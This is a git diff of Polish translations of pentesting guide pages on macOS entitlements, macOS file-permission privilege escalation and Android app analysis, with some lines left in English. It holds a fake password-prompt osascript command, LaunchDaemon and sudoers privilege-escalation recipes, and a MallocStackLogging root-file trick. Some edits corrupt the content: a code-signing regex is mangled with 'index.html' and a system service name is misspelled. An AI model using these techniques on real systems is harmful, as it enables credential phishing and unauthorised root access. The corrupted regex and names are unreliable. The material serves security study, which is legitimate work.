> [!WARNING]
> Zauważ, że uprawnienia zaczynające się od **`com.apple`** nie są dostępne dla osób trzecich, tylko Apple może je przyznać.
## Wysokie
## Wysoki
### `com.apple.rootless.install.heritable`
@ -17,19 +17,19 @@ Uprawnienie **`com.apple.rootless.install`** pozwala na **obejście SIP**. Spraw
### **`com.apple.system-task-ports` (wcześniej nazywane `task_for_pid-allow`)**
To uprawnienie pozwala uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. Sprawdź [**to dla więcej informacji**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
To uprawnienie pozwala uzyskać **port zadania dla dowolnego** procesu, z wyjątkiem jądra. Sprawdź [**to dla więcej informacji**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.get-task-allow`
To uprawnienie pozwala innym procesom z uprawnieniem **`com.apple.security.cs.debugger`** uzyskać port zadania procesu uruchomionego przez binarny plik z tym uprawnieniem i **wstrzyknąć kod**. Sprawdź [**to dla więcej informacji**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
To uprawnienie pozwala innym procesom z uprawnieniem **`com.apple.security.cs.debugger`** uzyskać port zadania procesu uruchomionego przez binarny plik z tym uprawnieniem i **wstrzyknąć kod**. Sprawdź [**to dla więcej informacji**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
### `com.apple.security.cs.debugger`
Aplikacje z uprawnieniem narzędzia debugowania mogą wywołać `task_for_pid()`, aby uzyskać ważny port zadania dla aplikacji niesigned i aplikacji osób trzecich z uprawnieniem `Get Task Allow` ustawionym na `true`. Jednak nawet z uprawnieniem narzędzia debugowania, debugger **nie może uzyskać portów zadań** procesów, które **nie mają uprawnienia `Get Task Allow`**, a które są zatem chronione przez System Integrity Protection. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
Aplikacje z uprawnieniem narzędzia debugowania mogą wywołać `task_for_pid()`, aby uzyskać ważny port zadania dla niepodpisanych i aplikacji osób trzecich z uprawnieniem `Get Task Allow` ustawionym na `true`. Jednak nawet z uprawnieniem narzędzia debugowania, debugger **nie może uzyskać portów zadań** procesów, które **nie mają uprawnienia `Get Task Allow`**, a które są zatem chronione przez System Integrity Protection. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
### `com.apple.security.cs.disable-library-validation`
To uprawnienie pozwala na **ładowanie frameworków, wtyczek lub bibliotek bez bycia podpisanym przez Apple lub podpisanym tym samym identyfikatorem zespołu** co główny plik wykonywalny, więc atakujący mógłby nadużyć ładowania dowolnej biblioteki, aby wstrzyknąć kod. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
To uprawnienie pozwala na **ładowanie frameworków, wtyczek lub bibliotek bez bycia podpisanym przez Apple lub podpisanym tym samym identyfikatorem zespołu** co główny plik wykonywalny, więc atakujący mógłby wykorzystać ładowanie dowolnej biblioteki do wstrzyknięcia kodu. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
@ -58,7 +58,7 @@ Uprawnienie **`com.apple.private.icloud-account-access`** umożliwia komunikacj
**iMovie** i **Garageband** miały to uprawnienie.
Aby uzyskać więcej **informacji** na temat exploita do **uzyskania tokenów icloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje na iCloud Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
Aby uzyskać więcej **informacji** na temat exploita do **uzyskania tokenów icloud** z tego uprawnienia, sprawdź wykład: [**#OBTS v5.0: "Co się dzieje na twoim Macu, zostaje w iCloud Apple?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
@ -74,7 +74,7 @@ TODO: W [**tym raporcie**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-U
### `keychain-access-groups`
To uprawnienie listuje **grupy keychain**, do których aplikacja ma dostęp:
To uprawnienie wymienia grupy **keychain**, do których aplikacja ma dostęp:
```xml
<key>keychain-access-groups</key>
<array>
@ -87,7 +87,7 @@ To uprawnienie listuje **grupy keychain**, do których aplikacja ma dostęp:
```
### **`kTCCServiceSystemPolicyAllFiles`**
Daje **Pełny dostęp do dysku**, jedno z najwyższych uprawnień TCC, jakie można mieć.
Daje **pełny dostęp do dysku**, jedno z najwyższych uprawnień TCC, jakie można mieć.
### **`kTCCServiceAppleEvents`**
@ -97,7 +97,7 @@ Na przykład, zmuszając je do proszenia użytkownika o hasło:
```bash
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
```
Lub sprawić, by wykonywały **dowolne działania**.
Or making them perform **arbitrary actions**.
### **`kTCCServiceEndpointSecurityClient`**
@ -109,17 +109,17 @@ Pozwala na **zmianę** atrybutu **`NFSHomeDirectory`** użytkownika, co zmienia
### **`kTCCServiceSystemPolicyAppBundles`**
Pozwala na modyfikację plików wewnątrz pakietu aplikacji (wewnątrz app.app), co jest **domyślnie zabronione**.
Pozwala na modyfikację plików wewnątrz pakietów aplikacji (wewnątrz app.app), co jest **domyślnie zabronione**.
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
Można sprawdzić, kto ma ten dostęp w _Ustawieniach systemowych_ > _Prywatność i bezpieczeństwo_ > _Zarządzanie aplikacjami._
Można sprawdzić, kto ma ten dostęp w _Ustawienia systemowe_ > _Prywatność i bezpieczeństwo_ > _Zarządzanie aplikacjami._
### `kTCCServiceAccessibility`
Proces będzie mógł **nadużywać funkcji dostępności macOS**, co oznacza, że na przykład będzie mógł naciskać klawisze. MOŻE poprosić o dostęp do kontrolowania aplikacji, takiej jak Finder, i zatwierdzić okno dialogowe z tym uprawnieniem.
## Średni
## Medium
### `com.apple.security.cs.allow-jit`
@ -127,7 +127,7 @@ To uprawnienie pozwala na **tworzenie pamięci, która jest zapisywalna i wykony
### `com.apple.security.cs.allow-unsigned-executable-memory`
To uprawnienie pozwala na **nadpisywanie lub patchowanie kodu C**, używanie długo przestarzałej **`NSCreateObjectFileImageFromMemory`** (co jest zasadniczo niebezpieczne) lub korzystanie z frameworka **DVDPlayback**. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
To uprawnienie pozwala na **nadpisywanie lub patchowanie kodu C**, użycie długo nieaktualizowanej **`NSCreateObjectFileImageFromMemory`** (co jest zasadniczo niebezpieczne), lub użycie frameworka **DVDPlayback**. Sprawdź [**to dla więcej informacji**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
> [!CAUTION]
> Włączenie tego uprawnienia naraża Twoją aplikację na powszechne luki w kodzie języków, które nie są bezpieczne w pamięci. Starannie rozważ, czy Twoja aplikacja potrzebuje tego wyjątku.
@ -161,3 +161,5 @@ Zezwól procesowi na **poproszenie o wszystkie uprawnienia TCC**.
### **`kTCCServicePostEvent`**
{{#include ../../../banners/hacktricks-training.md}}
</details>

View File

@ -16,15 +16,15 @@ Uprawnienia w **katalogu**:
**Jak nadpisać plik/folder należący do roota**, ale:
- Jeden rodzic **właściciel katalogu** w ścieżce to użytkownik
- Jeden rodzic **właściciel katalogu** w ścieżce to **grupa użytkowników** z **dostępem do zapisu**
- Jeden właściciel **katalogu nadrzędnego** w ścieżce to użytkownik
- Jeden właściciel **katalogu nadrzędnego** w ścieżce to **grupa użytkowników** z **dostępem do zapisu**
- Grupa użytkowników ma **dostęp do zapisu** do **pliku**
Przy dowolnej z powyższych kombinacji, atakujący mógłby **wstrzyknąć** **link symboliczny/twardy** do oczekiwanej ścieżki, aby uzyskać uprzywilejowany, dowolny zapis.
Przy dowolnej z powyższych kombinacji, atakujący mógłby **wstrzyknąć** **link symboliczny/twardy** w oczekiwanej ścieżce, aby uzyskać uprzywilejowany, dowolny zapis.
### Folder root R+X Specjalny przypadek
Jeśli w **katalogu** znajdują się pliki, do których **tylko root ma dostęp R+X**, to **nie są one dostępne dla nikogo innego**. Tak więc luka pozwalająca na **przeniesienie pliku czytanego przez użytkownika**, który nie może być odczytany z powodu tej **ograniczenia**, z tego folderu **do innego**, mogłaby być wykorzystana do odczytu tych plików.
Jeśli w **katalogu** znajdują się pliki, do których **tylko root ma dostęp R+X**, to **nie są one dostępne dla nikogo innego**. Tak więc luka pozwalająca na **przeniesienie pliku, który jest czytelny dla użytkownika**, który nie może być odczytany z powodu tej **ograniczenia**, z tego folderu **do innego**, mogłaby być wykorzystana do odczytu tych plików.
Przykład w: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
@ -32,13 +32,13 @@ Przykład w: [https://theevilbit.github.io/posts/exploiting_directory_permission
### Umożliwiony plik/folder
Jeśli uprzywilejowany proces zapisuje dane w **pliku**, który mógłby być **kontrolowany** przez **użytkownika o niższych uprawnieniach**, lub który mógłby być **wcześniej utworzony** przez użytkownika o niższych uprawnieniach. Użytkownik mógłby po prostu **wskazać go na inny plik** za pomocą linku symbolicznego lub twardego, a uprzywilejowany proces zapisze w tym pliku.
Jeśli uprzywilejowany proces zapisuje dane w **pliku**, który może być **kontrolowany** przez **użytkownika o niższych uprawnieniach**, lub który mógł być **wcześniej utworzony** przez użytkownika o niższych uprawnieniach. Użytkownik mógłby po prostu **wskazać go na inny plik** za pomocą linku symbolicznego lub twardego, a uprzywilejowany proces zapisze w tym pliku.
Sprawdź w innych sekcjach, gdzie atakujący mógłby **wykorzystać dowolny zapis do eskalacji uprawnień**.
### Otwórz `O_NOFOLLOW`
Flaga `O_NOFOLLOW` używana przez funkcję `open` nie będzie podążać za linkiem symbolicznym w ostatnim komponencie ścieżki, ale będzie podążać za resztą ścieżki. Prawidłowy sposób na zapobieganie podążaniu za linkami symbolicznymi w ścieżce to użycie flagi `O_NOFOLLOW_ANY`.
Flaga `O_NOFOLLOW` używana przez funkcję `open` nie będzie podążać za linkiem symbolicznym w ostatnim komponencie ścieżki, ale podąży za resztą ścieżki. Prawidłowy sposób zapobiegania podążaniu za linkami symbolicznymi w ścieżce to użycie flagi `O_NOFOLLOW_ANY`.
## .fileloc
@ -60,9 +60,9 @@ Przykład:
### Wycieki FD (bez `O_CLOEXEC`)
Jeśli wywołanie `open` nie ma flagi `O_CLOEXEC`, deskryptor pliku zostanie odziedziczony przez proces potomny. Tak więc, jeśli proces z uprawnieniami otworzy plik z uprawnieniami i wykona proces kontrolowany przez atakującego, atakujący **odziedziczy FD do uprzywilejowanego pliku**.
Jeśli wywołanie `open` nie ma flagi `O_CLOEXEC`, deskryptor pliku zostanie odziedziczony przez proces potomny. Tak więc, jeśli proces z uprawnieniami otworzy plik z uprawnieniami i wykona proces kontrolowany przez atakującego, atakujący **odziedziczy FD nad plikiem z uprawnieniami**.
Jeśli możesz sprawić, aby **proces otworzył plik lub folder z wysokimi uprawnieniami**, możesz nadużyć **`crontab`**, aby otworzyć plik w `/etc/sudoers.d` z **`EDITOR=exploit.py`**, dzięki czemu `exploit.py` uzyska FD do pliku w `/etc/sudoers` i go nadużyje.
Jeśli możesz sprawić, by **proces otworzył plik lub folder z wysokimi uprawnieniami**, możesz nadużyć **`crontab`**, aby otworzyć plik w `/etc/sudoers.d` z **`EDITOR=exploit.py`**, tak aby `exploit.py` uzyskał FD do pliku wewnątrz `/etc/sudoers` i go nadużył.
Na przykład: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), kod: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
@ -156,7 +156,7 @@ macos-xattr-acls-extra-stuff.md
### Ominięcie kontroli binarnych platform
Niektóre kontrole bezpieczeństwa sprawdzają, czy binarny plik jest **binarnym plikiem platformy**, na przykład, aby umożliwić połączenie z usługą XPC. Jednak, jak pokazano w omijaniu w https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, możliwe jest ominięcie tej kontroli poprzez uzyskanie binarnego pliku platformy (takiego jak /bin/ls) i wstrzyknięcie exploita za pomocą dyld, używając zmiennej środowiskowej `DYLD_INSERT_LIBRARIES`.
Niektóre kontrole bezpieczeństwa sprawdzają, czy binarny plik jest **binarnym plikiem platformy**, na przykład, aby umożliwić połączenie z usługą XPC. Jednak, jak pokazano w omijaniu w https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, możliwe jest ominięcie tej kontroli, uzyskując binarny plik platformy (tak jak /bin/ls) i wstrzykując exploit za pomocą dyld, używając zmiennej środowiskowej `DYLD_INSERT_LIBRARIES`.
### Ominięcie flag `CS_REQUIRE_LV` i `CS_FORCED_LV`
@ -173,9 +173,9 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status);
```
## Ominięcie podpisów kodu
## Bypass Code Signatures
Bundles zawierają plik **`_CodeSignature/CodeResources`**, który zawiera **hash** każdego pojedynczego **pliku** w **bundle**. Należy zauważyć, że hash CodeResources jest również **osadzony w wykonywalnym**, więc nie możemy tego zepsuć.
Bundles zawierają plik **`_CodeSignature/CodeResources`**, który zawiera **hash** każdego pojedynczego **pliku** w **bundlu**. Należy zauważyć, że hash CodeResources jest również **osadzony w pliku wykonywalnym**, więc nie możemy tego zepsuć.
Jednak istnieją pewne pliki, których podpis nie będzie sprawdzany, mają one klucz omit w plist, takie jak:
```xml
@ -195,7 +195,7 @@ Jednak istnieją pewne pliki, których podpis nie będzie sprawdzany, mają one
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<key>^(.*/index.html)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
@ -227,7 +227,7 @@ openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/
```
## Montowanie dmg
Użytkownik może zamontować niestandardowy dmg utworzony nawet na istniejących folderach. W ten sposób można stworzyć niestandardowy pakiet dmg z niestandardową zawartością:
Użytkownik może zamontować niestandardowy dmg utworzony nawet na istniejących folderach. W ten sposób można utworzyć niestandardowy pakiet dmg z niestandardową zawartością:
```bash
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -248,7 +248,7 @@ hdiutil detach /private/tmp/mnt 1>/dev/null
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
```
Zwykle macOS montuje dysk, komunikując się z usługą Mach `com.apple.DiskArbitration.diskarbitrationd` (dostarczaną przez `/usr/libexec/diskarbitrationd`). Jeśli dodasz parametr `-d` do pliku plist LaunchDaemons i uruchomisz ponownie, będzie przechowywać logi w `/var/log/diskarbitrationd.log`.\
Zwykle macOS montuje dysk, komunikując się z usługą Mach `com.apple.DiskArbitrarion.diskarbitrariond` (dostarczaną przez `/usr/libexec/diskarbitrationd`). Jeśli dodasz parametr `-d` do pliku plist LaunchDaemons i uruchomisz ponownie, będzie przechowywać logi w `/var/log/diskarbitrationd.log`.\
Jednak możliwe jest użycie narzędzi takich jak `hdik` i `hdiutil`, aby komunikować się bezpośrednio z kextem `com.apple.driver.DiskImages`.
## Dowolne zapisy
@ -261,7 +261,7 @@ Możesz **sfałszować** wykonanie tego skryptu za pomocą: **`sudo periodic dai
### Demony
Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** z plist wykonującym dowolny skrypt, taki jak:
Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** z plikiem plist wykonującym dowolny skrypt jak:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -278,15 +278,15 @@ Napisz dowolny **LaunchDaemon** jak **`/Library/LaunchDaemons/xyz.hacktricks.pri
</dict>
</plist>
```
Just generate the script `/Applications/Scripts/privesc.sh` with the **komendy** you would like to run as root.
Just generate the script `/Applications/Scripts/privesc.sh` with the **commands** you would like to run as root.
### Sudoers File
If you have **dowolny zapis**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
If you have **arbitrary write**, you could create a file inside the folder **`/etc/sudoers.d/`** granting yourself **sudo** privileges.
### PATH files
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **komenda without the full path**, you might be able to **przejąć** it modifying this file.
The file **`/etc/paths`** is one of the main places that populates the PATH env variable. You must be root to overwrite it, but if a script from **privileged process** is executing some **command without the full path**, you might be able to **hijack** it modifying this file.
You can also write files in **`/etc/paths.d`** to load new folders into the `PATH` env variable.
@ -308,11 +308,11 @@ Następnie, zmodyfikuj plik `/etc/cups/cups-files.conf`, ponownie wskazując `Lo
### Sandbox Escape
Możliwe jest ucieczka z sandboxa macOS za pomocą FS arbitrary write. Dla niektórych przykładów sprawdź stronę [macOS Auto Start](../../../../macos-auto-start-locations.md), ale powszechnym przypadkiem jest zapisanie pliku preferencji Terminala w `~/Library/Preferences/com.apple.Terminal.plist`, który wykonuje polecenie przy starcie i wywołuje je za pomocą `open`.
Możliwe jest wydostanie się z sandboxa macOS za pomocą FS arbitrary write. Dla niektórych przykładów sprawdź stronę [macOS Auto Start](../../../../macos-auto-start-locations.md), ale powszechnym przypadkiem jest zapisanie pliku preferencji Terminala w `~/Library/Preferences/com.apple.Terminal.plist`, który wykonuje polecenie przy starcie i wywołuje je za pomocą `open`.
## Generowanie plików do zapisu jako inni użytkownicy
## Generate writable files as other users
To wygeneruje plik, który należy do roota, a który jest zapisywalny przeze mnie ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). To może również działać jako privesc:
To wygeneruje plik, który należy do roota, a który jest zapisywalny przez mnie ([**code from here**](https://github.com/gergelykalman/brew-lpe-via-periodic/blob/main/brew_lpe.sh)). To może również działać jako privesc:
```bash
DIRNAME=/usr/local/etc/periodic/daily
@ -324,9 +324,9 @@ MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDont
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
```
## Pamięć współdzielona POSIX
## POSIX Shared Memory
**Pamięć współdzielona POSIX** pozwala procesom w systemach operacyjnych zgodnych z POSIX na dostęp do wspólnej przestrzeni pamięci, co ułatwia szybszą komunikację w porównaniu do innych metod komunikacji międzyprocesowej. Polega to na tworzeniu lub otwieraniu obiektu pamięci współdzielonej za pomocą `shm_open()`, ustawianiu jego rozmiaru za pomocą `ftruncate()` oraz mapowaniu go do przestrzeni adresowej procesu za pomocą `mmap()`. Procesy mogą następnie bezpośrednio odczytywać i zapisywać do tej przestrzeni pamięci. Aby zarządzać równoczesnym dostępem i zapobiegać uszkodzeniu danych, często stosuje się mechanizmy synchronizacji, takie jak mutexy lub semafory. Na koniec procesy odmapowują i zamykają pamięć współdzieloną za pomocą `munmap()` i `close()`, a opcjonalnie usuwają obiekt pamięci za pomocą `shm_unlink()`. Ten system jest szczególnie skuteczny w przypadku efektywnej, szybkiej IPC w środowiskach, w których wiele procesów musi szybko uzyskiwać dostęp do wspólnych danych.
**Pamięć współdzielona POSIX** pozwala procesom w systemach operacyjnych zgodnych z POSIX na dostęp do wspólnego obszaru pamięci, co ułatwia szybszą komunikację w porównaniu do innych metod komunikacji międzyprocesowej. Polega to na tworzeniu lub otwieraniu obiektu pamięci współdzielonej za pomocą `shm_open()`, ustawianiu jego rozmiaru za pomocą `ftruncate()`, a następnie mapowaniu go do przestrzeni adresowej procesu za pomocą `mmap()`. Procesy mogą następnie bezpośrednio odczytywać i zapisywać do tego obszaru pamięci. Aby zarządzać równoczesnym dostępem i zapobiegać uszkodzeniu danych, często stosuje się mechanizmy synchronizacji, takie jak mutexy lub semafory. Na koniec procesy odmapowują i zamykają pamięć współdzieloną za pomocą `munmap()` i `close()`, a opcjonalnie usuwają obiekt pamięci za pomocą `shm_unlink()`. Ten system jest szczególnie skuteczny w przypadku efektywnej, szybkiej IPC w środowiskach, w których wiele procesów musi szybko uzyskiwać dostęp do wspólnych danych.
<details>
@ -422,13 +422,13 @@ return 0;
## macOS Guarded Descriptors
**macOSCguarded descriptors** to funkcja zabezpieczeń wprowadzona w macOS, mająca na celu zwiększenie bezpieczeństwa i niezawodności **operacji na deskryptorach plików** w aplikacjach użytkownika. Te zabezpieczone deskryptory umożliwiają powiązanie określonych ograniczeń lub "zabezpieczeń" z deskryptorami plików, które są egzekwowane przez jądro.
**macOSCguarded descriptors** to funkcja zabezpieczeń wprowadzona w macOS, mająca na celu zwiększenie bezpieczeństwa i niezawodności **operacji na deskryptorach plików** w aplikacjach użytkownika. Te zabezpieczone deskryptory umożliwiają przypisanie określonych ograniczeń lub "strażników" do deskryptorów plików, które są egzekwowane przez jądro.
Funkcja ta jest szczególnie przydatna w zapobieganiu pewnym klasom luk w zabezpieczeniach, takim jak **nieautoryzowany dostęp do plików** lub **warunki wyścigu**. Te luki występują, gdy na przykład wątek uzyskuje dostęp do opisu pliku, dając **innemu podatnemu wątkowi dostęp do niego** lub gdy deskryptor pliku jest **dziedziczony** przez podatny proces potomny. Niektóre funkcje związane z tą funkcjonalnością to:
- `guarded_open_np`: Otwiera FD z zabezpieczeniem
- `guarded_open_np`: Otwiera FD z ochroną
- `guarded_close_np`: Zamyka go
- `change_fdguard_np`: Zmienia flagi zabezpieczeń na deskryptorze (nawet usuwając ochronę)
- `change_fdguard_np`: Zmienia flagi ochrony na deskryptorze (nawet usuwając ochronę)
## References

View File

@ -13,14 +13,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
To główne narzędzie, którego potrzebujesz, aby połączyć się z urządzeniem z Androidem (emulowanym lub fizycznym).\
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalację** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
**ADB** umożliwia kontrolowanie urządzeń zarówno przez **USB**, jak i **sieć** z komputera. To narzędzie pozwala na **kopiowanie** plików w obie strony, **instalację** i **odinstalowanie** aplikacji, **wykonywanie** poleceń powłoki, **tworzenie kopii zapasowych** danych, **odczytywanie** logów, wśród innych funkcji.
Zobacz poniższą listę [**Poleceń ADB**](adb-commands.md), aby dowiedzieć się, jak używać adb.
## Smali
Czasami interesujące jest **modyfikowanie kodu aplikacji**, aby uzyskać dostęp do **ukrytych informacji** (może dobrze obfuskowanych haseł lub flag). Wtedy może być interesujące dekompilowanie apk, modyfikowanie kodu i ponowne kompilowanie go.\
[**W tym samouczku** możesz **nauczyć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
[**W tym samouczku** możesz **dowiedzieć się, jak dekompilować APK, modyfikować kod Smali i ponownie kompilować APK** z nową funkcjonalnością](smali-changes.md). Może to być bardzo przydatne jako **alternatywa dla kilku testów podczas analizy dynamicznej**, które będą przedstawione. Dlatego **zawsze miej na uwadze tę możliwość**.
## Inne interesujące triki
@ -52,7 +52,7 @@ Proszę, [**przeczytaj tutaj, aby znaleźć informacje o różnych dostępnych d
### Szukanie interesujących informacji
Samo spojrzenie na **ciągi** w APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji).
Samo spojrzenie na **ciągi** APK pozwala na wyszukiwanie **haseł**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **kluczy** **api**, **szyfrowania**, **uuid bluetooth**, **tokenów** i wszystkiego, co może być interesujące... szukaj nawet **tylnych drzwi** do wykonania kodu lub tylnych drzwi autoryzacyjnych (twardo zakodowane dane logowania administratora do aplikacji).
**Firebase**
@ -68,7 +68,7 @@ Zwróć szczególną uwagę na **adresy URL Firebase** i sprawdź, czy są źle
- **Ustawienia kopii zapasowej**: Atrybut `android:allowBackup="false"` powinien być wyraźnie ustawiony dla aplikacji zajmujących się wrażliwymi informacjami, aby zapobiec nieautoryzowanym kopiom zapasowym danych za pomocą adb, szczególnie gdy debugowanie USB jest włączone.
- **Bezpieczeństwo sieci**: Niestandardowe konfiguracje bezpieczeństwa sieci (`android:networkSecurityConfig="@xml/network_security_config"`) w _res/xml/_ mogą określać szczegóły bezpieczeństwa, takie jak przypinanie certyfikatów i ustawienia ruchu HTTP. Przykładem jest zezwolenie na ruch HTTP dla określonych domen.
- **Eksportowane aktywności i usługi**: Identyfikacja eksportowanych aktywności i usług w manifeście może uwydatnić komponenty, które mogą być nadużywane. Dalsza analiza podczas testowania dynamicznego może ujawnić, jak wykorzystać te komponenty.
- **Dostawcy treści i FileProviders**: Ujawnieni dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Dostawcy treści i FileProviders**: Odkryte dostawcy treści mogą umożliwić nieautoryzowany dostęp lub modyfikację danych. Konfiguracja FileProviders powinna być również dokładnie sprawdzona.
- **Odbiorniki rozgłoszeniowe i schematy URL**: Te komponenty mogą być wykorzystywane do eksploatacji, z szczególną uwagą na to, jak zarządzane są schematy URL w kontekście luk wejściowych.
- **Wersje SDK**: Atrybuty `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` wskazują obsługiwane wersje Androida, podkreślając znaczenie nieobsługiwania przestarzałych, podatnych wersji Androida z powodów bezpieczeństwa.
@ -77,9 +77,9 @@ Z pliku **strings.xml** można odkryć wrażliwe informacje, takie jak klucze AP
### Tapjacking
**Tapjacking** to atak, w którym **złośliwa** **aplikacja** jest uruchamiana i **pozycjonuje się na wierzchu aplikacji ofiary**. Gdy widocznie zasłania aplikację ofiary, jej interfejs użytkownika jest zaprojektowany w taki sposób, aby oszukać użytkownika do interakcji z nią, podczas gdy przekazuje interakcję do aplikacji ofiary.\
W efekcie, **oślepia użytkownika, nie pozwalając mu wiedzieć, że faktycznie wykonuje działania w aplikacji ofiary**.
W efekcie, **oślepia użytkownika, aby nie wiedział, że faktycznie wykonuje akcje w aplikacji ofiary**.
Znajdź więcej informacji w:
Więcej informacji znajdziesz w:
{{#ref}}
tapjacking.md
@ -99,12 +99,12 @@ android-task-hijacking.md
**Przechowywanie wewnętrzne**
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **pozwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
W Androidzie pliki **przechowywane** w **przechowywaniu wewnętrznym****zaplanowane** do **dostępu** wyłącznie przez **aplikację**, która je **utworzyła**. Ten środek bezpieczeństwa jest **egzekwowany** przez system operacyjny Android i jest zazwyczaj wystarczający dla potrzeb bezpieczeństwa większości aplikacji. Jednak deweloperzy czasami wykorzystują tryby takie jak `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE`, aby **zezwolić** na **dzielenie się** plikami między różnymi aplikacjami. Niemniej jednak, te tryby **nie ograniczają dostępu** do tych plików przez inne aplikacje, w tym potencjalnie złośliwe.
1. **Analiza statyczna:**
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **dokładnie sprawdzane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
- **Upewnij się**, że użycie `MODE_WORLD_READABLE` i `MODE_WORLD_WRITABLE` jest **starannie analizowane**. Te tryby **mogą potencjalnie ujawniać** pliki **niezamierzonym lub nieautoryzowanym dostępem**.
2. **Analiza dynamiczna:**
- **Zweryfikuj** **uprawnienia** ustawione na plikach utworzonych przez aplikację. Szczególnie **sprawdź**, czy jakiekolwiek pliki są **ustawione na bycie czytelnymi lub zapisywalnymi na całym świecie**. Może to stanowić istotne ryzyko bezpieczeństwa, ponieważ pozwoliłoby to **jakiejkolwiek aplikacji** zainstalowanej na urządzeniu, niezależnie od jej pochodzenia lub zamiaru, na **odczyt lub modyfikację** tych plików.
